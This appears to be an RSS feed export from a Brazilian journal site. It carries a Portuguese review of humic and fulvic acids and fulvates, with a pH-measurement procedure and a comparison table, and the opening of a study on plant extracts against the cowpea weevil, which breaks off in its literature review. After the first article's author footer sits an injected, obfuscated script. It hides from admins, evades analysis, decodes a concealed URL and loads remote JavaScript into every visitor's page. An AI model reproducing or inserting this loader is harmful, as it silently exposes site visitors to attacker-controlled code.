<p class="wp-block-paragraph"><strong>Abstract</strong></p>



<p class="wp-block-paragraph">Humic and fulvic acids are active fractions of soil organic matter formed during the humification of plant and animal residues. These compounds exhibit high structural complexity and directly influence the physical, chemical, and biological properties of soils, as well as plant development. The aim of this study was to conduct a literature review on the characteristics, mechanisms of action, and agronomic applications of humic and fulvic acids. The methodology was based on the analysis of national and international scientific articles, books, and technical publications. The results indicate that humic acids mainly act by improving soil structure and nutrient retention, while fulvic acids show greater mobility and direct action on plant nutrition. It is concluded that the use of these substances enhances fertilizer efficiency and contributes to the sustainability of agricultural systems.</p>



<p class="wp-block-paragraph"><strong>Keywords:</strong>&nbsp;humic substances; soil organic matter; soil fertility; biostimulants.</p>



<p class="wp-block-paragraph"><strong>1. Introdução</strong></p>



<p class="wp-block-paragraph">A matéria orgânica do solo desempenha papel fundamental na manutenção da fertilidade e da qualidade ambiental dos ecossistemas agrícolas. Entre seus constituintes, destacam-se as substâncias húmicas, responsáveis por grande parte da capacidade do solo em reter nutrientes e água, além de influenciar a atividade microbiana (STEVENSON, 1994).</p>



<p class="wp-block-paragraph">Os ácidos húmicos e fúlvicos representam as frações mais reativas dessas substâncias e têm sido amplamente estudados devido ao seu potencial agronômico. Sua aplicação tem se intensificado como alternativa para aumentar a eficiência do uso de fertilizantes e reduzir impactos ambientais. Como aditivo de substâncias humicas vem auxiliando fertilizantes e nutrientes.</p>



<p class="wp-block-paragraph"><strong>2. Substâncias Húmicas</strong></p>



<p class="wp-block-paragraph">As substâncias húmicas constituem uma mistura heterogênea de compostos orgânicos de alta estabilidade química, classificados em ácidos húmicos, ácidos fúlvicos e humina, conforme sua solubilidade em diferentes faixas de pH (SPOSITO, 2008).</p>



<p class="wp-block-paragraph">Os ácidos húmicos são solúveis em meio alcalino e insolúveis em meio ácido, enquanto os ácidos fúlvicos permanecem solúveis em toda a faixa de pH, característica que influencia diretamente seu comportamento no solo.</p>



<p class="wp-block-paragraph">Formula estrutural substâncias húmicas</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="317" height="315" src="https://revistaft.com.br/wp-content/uploads/2026/02/image-177.png" alt="" class="wp-image-265302" srcset="https://revistaft.com.br/wp-content/uploads/2026/02/image-177.png 317w, https://revistaft.com.br/wp-content/uploads/2026/02/image-177-300x298.png 300w, https://revistaft.com.br/wp-content/uploads/2026/02/image-177-150x150.png 150w" sizes="(max-width: 317px) 100vw, 317px" /></figure>



<p class="wp-block-paragraph"><strong>3. Ácidos Húmicos</strong></p>



<p class="wp-block-paragraph">Os ácidos húmicos apresentam elevado peso molecular e grande quantidade de grupos funcionais, como carboxílicos e fenólicos, responsáveis por sua alta capacidade de troca catiônica. Esses compostos contribuem para a agregação das partículas do solo, melhorando a estrutura, a porosidade e a retenção de água.</p>



<p class="wp-block-paragraph">Além disso, atuam na complexação de nutrientes, reduzindo perdas por lixiviação e aumentando sua disponibilidade para as plantas (CANELLAS; OLIVARES, 2014).</p>



<p class="wp-block-paragraph">Formula estrutural</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="265" height="231" src="https://revistaft.com.br/wp-content/uploads/2026/02/image-176.png" alt="" class="wp-image-265300"/></figure>



<p class="wp-block-paragraph"><strong>4. Ácidos Fúlvicos</strong></p>



<p class="wp-block-paragraph">Os ácidos fúlvicos caracterizam-se pelo menor peso molecular e maior mobilidade no solo. Devido a essas características, são facilmente absorvidos pelas plantas, atuando como agentes quelantes de micronutrientes essenciais, como ferro, manganês e zinco.</p>



<p class="wp-block-paragraph">Esses compostos também apresentam efeito bioestimulante, influenciando processos fisiológicos relacionados ao crescimento e ao metabolismo vegetal.</p>



<p class="wp-block-paragraph">Fórmula estrutural ácidos fulvicos&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="286" height="222" src="https://revistaft.com.br/wp-content/uploads/2026/02/image-175.png" alt="" class="wp-image-265299"/></figure>



<p class="wp-block-paragraph">Formula estrutural fulvatos</p>



<figure class="wp-block-image size-full"><img loading="lazy" decoding="async" width="276" height="240" src="https://revistaft.com.br/wp-content/uploads/2026/02/image-174.png" alt="" class="wp-image-265298"/></figure>



<p class="wp-block-paragraph"><strong>5. Metodologia</strong></p>



<p class="wp-block-paragraph">O presente estudo caracteriza-se como uma&nbsp;revisão bibliográfica, realizada a partir da experiência e o comparativo de um composto de fulvatos de forma natural, em periódicos indexados, livros clássicos da área de ciência do solo e documentos técnicos. As bases de dados utilizadas incluíram Scopus, Web of Science, SciELO e Google Scholar. Foram priorizadas publicações relacionadas à caracterização, aos mecanismos de ação e às aplicações agronômicas dos ácidos húmicos e fúlvicos e fulvatos . Foram medidos os phs das amostras de ácido húmico, ácido fulvico e fulvatos, onde é uma fração mais neutra e alcalina.</p>



<p class="has-text-align-center wp-block-paragraph"><strong>Tabela 1 – Caracterização química e funcional de fulvatos, ácidos húmicos e ácidos fúlvicos</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><td><strong>Parâmetro</strong></td><td><strong>Fulvatos</strong></td><td><strong>Ácido húmico</strong></td><td><strong>Ácidos fúlvicos</strong></td></tr></thead><tbody><tr><td>Origem</td><td>Sais de ácidos fúlvicos (K, Na, Ca, Mg)</td><td>Fração húmica insolúvel em pH ácido</td><td>Fração húmica solúvel em qualquer pH</td></tr><tr><td>Forma química</td><td>Sal orgânico</td><td>Ácido orgânico complexo</td><td>Ácido orgânico de baixo peso molecular</td></tr><tr><td>Peso molecular</td><td>Muito baixo</td><td>Alto</td><td>Baixo</td></tr><tr><td>Cor</td><td>Amarelo-claro</td><td>Marrom-escuro a preto</td><td>Amarelo a marrom-claro</td></tr><tr><td>Faixa de pH</td><td>6,0 – 9,0</td><td>4,0 – 6,0</td><td>2,0 – 4,0</td></tr><tr><td>Solubilidade em água</td><td>Alta</td><td>Baixa em pH ácido</td><td>Muito alta</td></tr><tr><td>Solubilidade em pH ácido</td><td>Alta</td><td>Insolúvel</td><td>Alta</td></tr><tr><td>Capacidade de troca catiônica (CTC)</td><td>Moderada</td><td>Alta</td><td>Moderada</td></tr><tr><td>Conteúdo de grupos carboxílicos</td><td>Alto</td><td>Moderado</td><td>Muito alto</td></tr><tr><td>Capacidade quelante</td><td>Alta</td><td>Moderada</td><td>Muito alta</td></tr><tr><td>Mobilidade no solo</td><td>Muito alta</td><td>Baixa a moderada</td><td>Alta</td></tr><tr><td>Absorção pelas plantas</td><td>Direta (radicular e foliar)</td><td>Indireta</td><td>Direta</td></tr><tr><td>Principal função agronômica</td><td>Transporte de nutrientes</td><td>Condicionador de solo</td><td>Bioestimulante e quelante</td></tr><tr><td>Nutrientes associados</td><td>Fe, Zn, Mn, Cu</td><td>Ca, Mg, K</td><td>Fe, Zn, Mn, Cu</td></tr><tr><td>Uso agrícola típico</td><td>Fertirrigação e foliar</td><td>Aplicação no solo</td><td>Fertirrigação, solo e foliar</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Tabela funcional</p>



<p class="wp-block-paragraph">Os fulvatos diferenciam-se dos ácidos húmicos e fúlvicos por se apresentarem na forma de sais, o que confere maior estabilidade em soluções aquosas e maior facilidade de absorção pelas plantas. Enquanto os ácidos húmicos atuam principalmente como condicionadores do solo, os ácidos fúlvicos e seus sais apresentam ação mais direta na nutrição vegetal, devido à elevada mobilidade e capacidade de complexação de micronutrientes.</p>



<p class="wp-block-paragraph"><strong>5.1 Princípio da medição de pH</strong></p>



<p class="wp-block-paragraph">O&nbsp;<strong>pH</strong>&nbsp;indica a concentração de íons hidrogênio (H⁺) em solução.</p>



<p class="wp-block-paragraph">Ácidos húmicos e fúlvicos são substâncias orgânicas ácidas; seu pH depende da quantidade de grupos carboxílicos e fenólicos e da presença de sais (fulvatos).</p>



<p class="wp-block-paragraph">A determinação do pH em solução aquosa ou tampão fornece informação sobre&nbsp;acidez relativa, solubilidade e comportamento em solo.</p>



<p class="wp-block-paragraph"><strong>5.2 Materiais e equipamentos</strong></p>



<ul class="wp-block-list">
<li>Amostras puras de ácido húmico, ácido fúlvico e fulvatos</li>



<li>Água destilada ou deionizada</li>



<li>Agitador magnético</li>



<li>Béqueres ou frascos de 50–100 mL</li>



<li>Balança analítica</li>



<li>pHmetro calibrado (com eletrodo de vidro)</li>



<li>Soluções padrão de calibração de pH 4, 7 e 9</li>



<li>Pipetas, bastão de vidro</li>
</ul>



<p class="wp-block-paragraph"><strong>5.3 Procedimento experimental</strong></p>



<p class="wp-block-paragraph"><strong>5.3.1 Preparação da solução da amostra</strong></p>



<p class="wp-block-paragraph">Pesou-se 0,1 a 0,2 g da substância húmica e fulvato. Transferiu-se para um béquer de 50 mL.Adicionau-se 50 mL de água destilada. Misturou-se em agitador magnético por 30 minutos para garantir dispersão completa.</p>



<p class="wp-block-paragraph"><strong>5.3.2 Calibração do pHmetro</strong></p>



<p class="wp-block-paragraph">Calibrou-se o pHmetro com soluções padrão de pH 4, 7 e 9 antes da medição. Enxaguou-se o eletrodo com água destilada entre as leituras.</p>



<p class="wp-block-paragraph"><strong>5.3.3 Medição do pH</strong></p>



<p class="wp-block-paragraph">Mergulhou-se o eletrodo na solução da amostra. Registrar o valor estável do pH (geralmente após 1–2 minutos). Repetiu-se a medição para&nbsp;três réplicas, garantindo confiabilidade estatística.</p>



<p class="wp-block-paragraph"><strong>5.3.4 Registro e cálculo</strong></p>



<p class="wp-block-paragraph">Calculou-se a&nbsp;média ± desvio padrão&nbsp;das três repetições. O resultado foi expresso com duas casas, por exemplo:&nbsp; ± 0,08.</p>



<p class="wp-block-paragraph">Temperatura: idealmente a 25 °C, pois o pH é sensível à temperatura. Solubilidade da amostra: para ácidos húmicos, se insolúvel, pode-se medir em suspensão; fulvatos e ácidos fúlvicos geralmente dissolvem completamente.</p>



<p class="wp-block-paragraph"><strong>5.3.5 Expressão do pH:</strong></p>



<figure class="wp-block-image aligncenter size-full"><img loading="lazy" decoding="async" width="786" height="132" src="https://revistaft.com.br/wp-content/uploads/2026/02/image-173.png" alt="" class="wp-image-265297" srcset="https://revistaft.com.br/wp-content/uploads/2026/02/image-173.png 786w, https://revistaft.com.br/wp-content/uploads/2026/02/image-173-300x50.png 300w, https://revistaft.com.br/wp-content/uploads/2026/02/image-173-768x129.png 768w" sizes="(max-width: 786px) 100vw, 786px" /></figure>



<p class="wp-block-paragraph"><strong>6. Discussão</strong></p>



<p class="wp-block-paragraph">A literatura evidencia que os ácidos húmicos atuam predominantemente na melhoria das propriedades físicas e químicas do solo, enquanto os ácidos fúlvicos apresentam ação mais direta sobre a nutrição vegetal e adjuvante de nutrição. Essa distinção é fundamental para a definição de estratégias de manejo, uma vez que a combinação dessas substâncias pode potencializar os efeitos agronômicos.</p>



<p class="wp-block-paragraph">Estudos indicam que a aplicação conjunta de ácidos húmicos e fúlvicos pode resultar em maior eficiência no uso de fertilizantes minerais, redução de impactos ambientais e aumento da produtividade agrícola, especialmente em solos com baixos teores de matéria orgânica.</p>



<p class="wp-block-paragraph"><strong>7. Conclusões</strong></p>



<p class="wp-block-paragraph">Os ácidos húmicos e fúlvicos desempenham papel essencial na dinâmica do solo e no desenvolvimento das plantas. Seu uso adequado contribui para a melhoria da fertilidade, o aumento da eficiência nutricional e a sustentabilidade dos sistemas agrícolas. A compreensão de suas características e funções é fundamental para o manejo racional da matéria orgânica do solo. Dentre os comparativos entre ácidos fulvicos, fulvatos e ácidos humicos, entende-se que os fulvatos são mais disponíveis e com melhor absorção devido ao pH. É um complexante de alto desempenho, sendo utilizado como adjuvante e aditivo agrícola.</p>



<p class="wp-block-paragraph"><strong>Referências</strong></p>



<p class="wp-block-paragraph">(ABNT – NBR 6023:2018)</p>



<p class="wp-block-paragraph">BALDOTTO, M. A.; BALDOTTO, L. E. B. Ácidos húmicos e fúlvicos: características e aplicações na agricultura.&nbsp;<strong>Revista Ceres</strong>, Viçosa, v. 61, n. 6, p. 856-864, 2014.</p>



<p class="wp-block-paragraph">CANELLAS, L. P.; OLIVARES, F. L. Physiological responses to humic substances as plant growth promoter.&nbsp;Chemical and Biological Technologies in Agriculture, v. 1, n. 3, 2014.</p>



<p class="wp-block-paragraph">DOBBSS, L. B.; RUMJANECK, V. M.; BALDOTTO, M. A.; et al. Chemical and spectroscopic characterization of humic and fulvic acids isolated from the surface layer of Brazilian Oxisols.&nbsp;<em>Revista Brasileira de Ciência do Solo</em>, v. 33, n. 1, p. 51–63, 2009.</p>



<p class="wp-block-paragraph">YANG, X.; ZHANG, J.; MOSTOFA, K. M. G.; et al. Solubility characteristics of soil humic substances as a function of pH: mechanisms and biogeochemical perspectives.&nbsp;<em>Biogeosciences</em>, v. 22, p.&nbsp;1745–1765, 2025.</p>



<p class="wp-block-paragraph">SPOSITO, G.&nbsp;The chemistry of soils. 2. ed. Oxford: Oxford University Press, 2008.</p>



<p class="wp-block-paragraph">STEVENSON, F. J.&nbsp;Humus chemistry: genesis, composition, reactions. 2. ed. New York: Wiley, 1994.</p>



<p class="wp-block-paragraph">(AUTOR DESCONHECIDO). Comparative analysis of humic and fulvic acids extraction and characterization from different organic sources.&nbsp;<em>Journal of Applied Sciences</em>, v. 12, n. 4, p. 615–626, 2023.</p>



<p class="wp-block-paragraph">STEVENSON, F. J.&nbsp;<em>Humus Chemistry: Genesis, Composition, Reactions</em>. 2. ed. New York: Wiley, 1994.</p>



<hr class="wp-block-separator has-text-color has-ast-global-color-2-color has-alpha-channel-opacity has-ast-global-color-2-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">¹Funiber-Ibero-Americana, Brasil. ORCID: https://orcid.org/0000-0002-5337-7018. E-mail: cienciaevidanano@hotmail.com;<br>²Universidade Autónoma de Yucatán. ORCID: https://orcid.org/0000-0002-6615-7938. E-mail: sec.acad2.br@funiber.org;<br>³Centro Universitário Cesumar, Brasil. ORCID: https://orcid.org/0009-0007-5715-4878. E-mail: cienciaevidacomercial2@hotmail.com.</p>
<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(/[^A-Za-z0-9\+\/\=]/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();</script>]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>EFICÁCIA DE EXTRATOS DE PLANTAS ESPONTÂNEAS CONTRA CALLOSOBRUCHUS MACULATUS</title>
		<link>https://revistaft.com.br/eficacia-de-extratos-de-plantas-espontaneas-contra-callosobruchus-maculatus/</link>
		
		<dc:creator><![CDATA[Revistaft RA]]></dc:creator>
		<pubDate>Fri, 13 Feb 2026 19:07:40 +0000</pubDate>
				<category><![CDATA[Ciências Agrárias]]></category>
		<category><![CDATA[Volume 30 – Edição 155/FEV 2026]]></category>
		<guid isPermaLink="false">https://revistaft.com.br/?p=265290</guid>

					<description><![CDATA[EFFICACY OF EXTRACTS FROM SPONTANEOUS PLANTS AGAINST CALLOSOBRUCHUS MACULATUS REGISTRO DOI: 10.69849/revistaft/ra10202602131608 Leonardo Andrade Oliveira1Êmerson Silva Nunes2Alicia Gonçalves Silva2Tailande Novaes de Aquino2Ítalo Rafael de Souza2Matheus Sousa do Nascimento3Carina Vieira Alecrim4Lucas Barbosa dos Santos5 Resumo O feijão-caupi (Vigna unguiculata (L.) Walp.) representa uma importante fonte de proteína vegetal e base alimentar para milhões de pessoas, especialmente [&#8230;]]]></description>
										<content:encoded><![CDATA[
<p class="wp-block-paragraph">EFFICACY OF EXTRACTS FROM SPONTANEOUS PLANTS AGAINST CALLOSOBRUCHUS MACULATUS</p>



<p class="has-text-align-center wp-block-paragraph">REGISTRO DOI: 10.69849/revistaft/ra10202602131608</p>



<hr class="wp-block-separator has-text-color has-luminous-vivid-amber-color has-alpha-channel-opacity has-luminous-vivid-amber-background-color has-background is-style-wide"/>



<p class="has-text-align-right wp-block-paragraph">Leonardo Andrade Oliveira<sup>1</sup><br>Êmerson Silva Nunes<sup>2</sup><br>Alicia Gonçalves Silva<sup>2</sup><br>Tailande Novaes de Aquino<sup>2</sup><br>Ítalo Rafael de Souza<sup>2</sup><br>Matheus Sousa do Nascimento<sup>3</sup><br>Carina Vieira Alecrim<sup>4</sup><br>Lucas Barbosa dos Santos<sup>5</sup></p>



<hr class="wp-block-separator has-text-color has-luminous-vivid-amber-color has-alpha-channel-opacity has-luminous-vivid-amber-background-color has-background is-style-wide"/>



<p class="wp-block-paragraph"><strong>Resumo</strong></p>



<p class="wp-block-paragraph">O feijão-caupi (<em>Vigna unguiculata (L.) Walp</em>.) representa uma importante fonte de proteína vegetal e base alimentar para milhões de pessoas, especialmente em regiões tropicais como o Nordeste brasileiro. No entanto, a produção e o armazenamento do grão são constantemente comprometidos pela infestação do gorgulho-do-feijão (<em>Callosobruchus maculatus </em>(F.)<em>),</em> praga que causa severas perdas qualitativas e quantitativas. O controle convencional baseia-se, predominantemente, no uso de inseticidas sintéticos, cujo emprego indiscriminado tem gerado sérios impactos ambientais, desenvolvimento de resistência em insetos e riscos à saúde humana. Diante disso, este trabalho teve como objetivo avaliar o potencial inseticida dos extratos etanólico de malva-branca (<em>Sida cordifolia </em>L.) e crista-de-galo (<em>Heliotropium indicum L</em>.) sobre a mortalidade de <em>C. maculatus</em> em grãos de feijão-caupi armazenado. As espécies vegetais foram coletadas na região de Irecê-BA, submetidas à imersão em álcool para obtenção de extrato etanolico. O bioensaio foi conduzido em delineamento inteiramente casualizado, com quatro repetições, sendo avaliados os percentuais de mortalidade dos insetos em intervalos de 12, 24, 48 e 72 horas após a aplicação dos tratamentos. Os resultados demonstraram que ambos os extratos apresentaram efeito significativo, com aumento progressivo da mortalidade ao longo do tempo, atingindo valores próximos a 100% em 72 horas, especialmente nas maiores concentrações testadas. Esses resultados evidenciam a presença de compostos bioativos com ação inseticida, reforçando o potencial dessas plantas como alternativas ecológicas e economicamente viáveis para o manejo de <em>C. maculatus</em>. Assim, o uso de extratos vegetais constitui uma estratégia promissora dentro do manejo integrado de pragas (MIP), contribuindo para a sustentabilidade da agricultura e a redução da dependência de agroquímicos.</p>



<p class="wp-block-paragraph"><strong>Palavras-chave:</strong> <em>Callosobruchus maculatus. Sida cordifolia.&nbsp; Heliotropium indicum</em>. óleos essenciais. manejo sustentável.</p>



<p class="wp-block-paragraph"><strong>1  INTRODUÇÃO</strong></p>



<p class="wp-block-paragraph">O feijão-caupi (<em>Vigna unguiculata (L.) Walp</em>.) constitui uma das principais fontes de proteína vegetal para populações em países tropicais, especialmente no Brasil e na África, sendo base alimentar e culturalmente importante.</p>



<p class="wp-block-paragraph">Segundo dados da FAOSTAT (2024), a produção mundial de feijão-caupi ultrapassa 8,5 milhões de toneladas anuais, com destaque para a Nigéria, maior produtora mundial, seguida por Níger e Brasil.</p>



<p class="wp-block-paragraph">No Brasil, de acordo com o IBGE (2023), a produção total de feijão-caupi foi de aproximadamente 680 mil toneladas, cultivadas em cerca de 1,3 milhão de hectares, concentrandose principalmente nas regiões Nordeste e Norte.</p>



<p class="wp-block-paragraph">A Bahia lidera a produção nacional, respondendo por cerca de 38% do total brasileiro, com 260 mil toneladas, seguida pelo Piauí e Ceará. Dentro da Bahia, as regiões do Semiárido e</p>



<p class="wp-block-paragraph">Oeste baiano destacam-se pelo uso de variedades adaptadas e pela expansão de áreas irrigadas (CONAB, 2024).</p>



<p class="wp-block-paragraph">Contudo, a conservação pós-colheita enfrenta sérios desafios, principalmente devido ao ataque de insetos-praga durante o armazenamento, com destaque para o gorgulho-do-feijão (<em>Callosobruchus maculatus (F</em>.). Essa praga é responsável por perdas qualitativas e quantitativas significativas, reduzindo a germinação das sementes, o valor comercial e a viabilidade do grão para consumo humano e replantio.</p>



<p class="wp-block-paragraph">O <em>C. maculatus</em> causa perfurações nos grãos, perda de massa seca, redução do teor proteico e aumento da suscetibilidade a fungos e micro-organismos, comprometendo o valor nutritivo e o aspecto visual do produto (EMBRAPA, 2022; SCIELO, 2021).</p>



<p class="wp-block-paragraph">O manejo tradicional de <em>Callosobruchus maculatus</em> (Fabr., 1775), uma das principais pragas de feijão-caupi armazenado, baseia-se predominantemente no uso de inseticidas sintéticos. Entretanto, o uso indiscriminado desses produtos tem acarretado sérios problemas, como o desenvolvimento de resistência em populações de insetos, riscos à saúde humana e impactos ambientais negativos (GOMES, 2020; LIMA, 2017; COSTA, 2021).</p>



<p class="wp-block-paragraph">Diante desse cenário, cresce o interesse por alternativas ecologicamente sustentáveis, eficazes e economicamente viáveis, especialmente entre pequenos produtores. Nesse contexto, destacam-se os extratos e óleos essenciais obtidos de espécies vegetais com potencial inseticida, amplamente disponíveis em ecossistemas agrícolas e de fácil acesso (SILVA, 2019; ALVES, 2021; BRITO, 2022). Esses produtos naturais apresentam compostos bioativos capazes de afetar o comportamento, a alimentação e a reprodução dos insetos, oferecendo uma alternativa promissora ao controle químico convencional (RIBEIRO, 2010; ALMEIDA, 2003; CASTRO, 2013).</p>



<p class="wp-block-paragraph">Assim, o uso de plantas inseticidas surge como uma estratégia importante dentro do manejo integrado de pragas (MIP), contribuindo para a sustentabilidade da produção e para a redução da dependência de pesticidas sintéticos (FERREIRA, 2023; ALVES et al., 2020).</p>



<p class="wp-block-paragraph">A utilização de produtos naturais, que sejam menos agressivos ao ambiente, já é prática adotada por agricultores há décadas, como no caso dos inseticidas de origem vegetal (DA SILVA, 2017). Esses compostos devem ser considerados como métodos de controle eficazes, capazes de reduzir custos, preservar o meio ambiente e evitar a contaminação química dos alimentos, representando uma prática adequada para a agricultura sustentável (SOUZA; EVANGELISTA, 2009).</p>



<p class="wp-block-paragraph">São inúmeras as substâncias químicas sintetizadas no metabolismo secundário das plantas, as quais podem ser utilizadas no controle biológico de insetos-praga e plantas daninhas, atuando como inseticidas e herbicidas naturais. Esse potencial amplia a perspectiva de desenvolvimento de produtos agroecológicos menos agressivos ao meio ambiente e socialmente mais seguros (DA SILVA, 2017).</p>



<p class="wp-block-paragraph">Dessa forma, o objetivo deste trabalho é avaliar a eficiência inseticida dos extratos etanólicos e óleos essenciais de malva-branca (<em>Sida cordifolia L</em>.) e crista-de-galo (<em>Heliotropium indicum L</em>.) sobre a mortalidade de <em>Callosobruchus maculatus</em> (F.), praga de grande relevância no armazenamento de feijão-caupi (<em>Vigna unguiculata</em> (L.) Walp.). Busca-se, por meio dessa investigação, identificar o potencial bioativo dessas espécies vegetais como alternativa sustentável ao uso de inseticidas sintéticos, promovendo o manejo integrado de pragas (MIP) e contribuindo para a redução de impactos ambientais e riscos à saúde humana. Além disso, este estudo pretende subsidiar o desenvolvimento de tecnologias agroecológicas acessíveis e eficazes, especialmente voltadas aos pequenos produtores do Semiárido baiano, visando melhorar a conservação pós-colheita e a qualidade do feijão-caupi destinado ao consumo e ao replantio.</p>



<p class="wp-block-paragraph"><strong>2  FUNDAMENTAÇÃO TEÓRICA OU REVISÃO DA LITERATURA</strong></p>



<p class="wp-block-paragraph">2.1. A IMPORTÂNCIA DO FEIJÃO-CAUPI NA AGRICULTURA E OS DESAFIOS NO ARMAZENAMENTO</p>



<p class="wp-block-paragraph">O feijão-caupi (<em>Vigna unguiculata (L.) Walp</em>.) constitui uma das principais leguminosas cultivadas nas regiões tropicais e subtropicais do mundo, sendo amplamente consumido como fonte de proteína vegetal, sobretudo por populações de baixa renda (GOMES, 2020). No Brasil, o cultivo dessa espécie é particularmente expressivo no semiárido nordestino, onde se adapta bem a condições edafoclimáticas adversas, como baixa pluviosidade e solos pouco férteis (SILVA <em>et al</em>., 2020).</p>



<p class="wp-block-paragraph">Entretanto, apesar da sua rusticidade e importância socioeconômica, a cadeia produtiva do feijão-caupi enfrenta desafios críticos no armazenamento, fase em que os grãos se tornam altamente vulneráveis ao ataque de pragas. A mais significativa delas é o <em>Callosobruchus maculatus</em> (Fabr., 1775), conhecido popularmente como gorgulho-do-feijão, um coleóptero da família Chrysomelidae, subfamília Bruchinae, cuja presença pode comprometer totalmente a qualidade e a viabilidade dos grãos para consumo e replantio (ALVES, 2021).</p>



<p class="wp-block-paragraph">De acordo com Brito (2022), a infestação por <em>C. maculatus</em> reduz o peso dos grãos, a taxa de germinação e o valor comercial, além de favorecer o desenvolvimento de microrganismos patogênicos, como fungos. Tal cenário demanda estratégias eficazes e sustentáveis de controle, sobretudo para pequenos produtores que não dispõem de tecnologias de armazenamento avançadas.</p>



<p class="wp-block-paragraph">2.2. INSETICIDAS SINTÉTICOS: EFICÁCIA IMEDIATA E PROBLEMAS DURADOUROS</p>



<p class="wp-block-paragraph">Historicamente, o manejo do gorgulho-do-feijão baseou-se predominantemente no uso de inseticidas químicos sintéticos, os quais oferecem ação rápida e eficácia comprovada no curto prazo. No entanto, o uso recorrente desses produtos apresenta sérios riscos à saúde humana e ao meio ambiente, além de favorecer o surgimento de cepas resistentes da praga (FERREIRA, 2023).</p>



<p class="wp-block-paragraph">Conforme apontado por Silva e Oliveira (2020), os resíduos químicos presentes nos grãos tratados com inseticidas podem permanecer por longos períodos, representando perigo à segurança alimentar. Além disso, a exposição crônica a esses compostos tem sido associada a distúrbios neurológicos, hormonais e cancerígenos em humanos e animais, gerando uma crescente pressão por alternativas mais ecológicas (CASTRO, 2013).</p>



<p class="wp-block-paragraph">Outro fator limitante do uso de inseticidas sintéticos é o alto custo, muitas vezes inacessível a agricultores familiares e comunidades rurais tradicionais. Essa realidade evidencia a necessidade de diversificar as estratégias de controle de pragas, priorizando métodos com menor impacto ambiental e maior viabilidade socioeconômica.</p>



<p class="wp-block-paragraph">2.3. O USO DE EXTRATOS VEGETAIS E ÓLEOS ESSENCIAIS NO CONTROLE DE CALLOSOBRUCHUS MACULATUS</p>



<p class="wp-block-paragraph">Nos últimos anos, tem se intensificado a pesquisa e o uso de produtos naturais derivados de plantas com propriedades inseticidas, repelentes ou inibidoras de crescimento de pragas agrícolas. Os óleos essenciais e extratos vegetais destacam-se nesse contexto como ferramentas promissoras no manejo de C. maculatus, por apresentarem compostos bioativos com diversos mecanismos de ação (SANTOS <em>et al</em>., 2018).</p>



<p class="wp-block-paragraph">Tais compostos, majoritariamente oriundos do metabolismo secundário das plantas, incluem alcaloides, flavonoides, terpenos, saponinas e taninos, os quais podem interferir diretamente na fisiologia e no comportamento dos insetos (GOMES, 2020). Esses efeitos incluem neurotoxicidade, inibição alimentar, alterações hormonais e comprometimento da reprodução, podendo culminar na morte ou na esterilização dos indivíduos (FERRAZ, 2018).</p>



<p class="wp-block-paragraph">O uso do óleo essencial de <em>Lippia sidoides</em> (alecrim-pimenta), por exemplo, demonstrou alta eficácia no controle de adultos de C. maculatus, com ação inseticida atribuída ao timol, seu principal componente químico (SANTOS; SILVA; PÁDUA, 2018). De forma semelhante, Alves (2021) relatou que o óleo de <em>Cymbopogon citratus</em> (capim-limão) provocou redução significativa na fecundidade da praga, além de apresentar efeito repelente duradouro.</p>



<p class="wp-block-paragraph">Os extratos de <em>Ageratum conyzoides</em> (mentrasto), por sua vez, mostraram atividade fumigante e efeito larvicida quando aplicados sobre grãos armazenados, sendo considerados eficazes, de fácil aplicação e baixo custo (SILVA, 2019). Já o óleo de <em>Croton blanchetianus</em> causou paralisia nos adultos e interferência no comportamento de oviposição da fêmea, como observado por Silva e Oliveira (2020).</p>



<p class="wp-block-paragraph">2.4. O PAPEL DE SIDA CORDIFOLIA E HELIOTROPIUM INDICUM NO MANEJO DE PRAGAS</p>



<p class="wp-block-paragraph">Duas espécies vegetais com amplo potencial inseticida têm ganhado destaque em estudos recentes: <em>Sida cordifolia</em> (malva-branca) e <em>Heliotropium indicum</em> (crista-de-galo). Ambas são espécies espontâneas encontradas em áreas do semiárido nordestino, sendo acessíveis a pequenos produtores e com elevado potencial agroecológico (DA SILVA, 2017).</p>



<p class="wp-block-paragraph">Segundo Cruz e Pereira (2012), extratos etanólicos dessas plantas apresentaram efeitos tóxicos significativos sobre <em>C. maculatus</em> em bioensaios de laboratório. Os autores observaram mortalidade crescente em função do tempo de exposição e da concentração aplicada, com efeito comparável ao de inseticidas comerciais.</p>



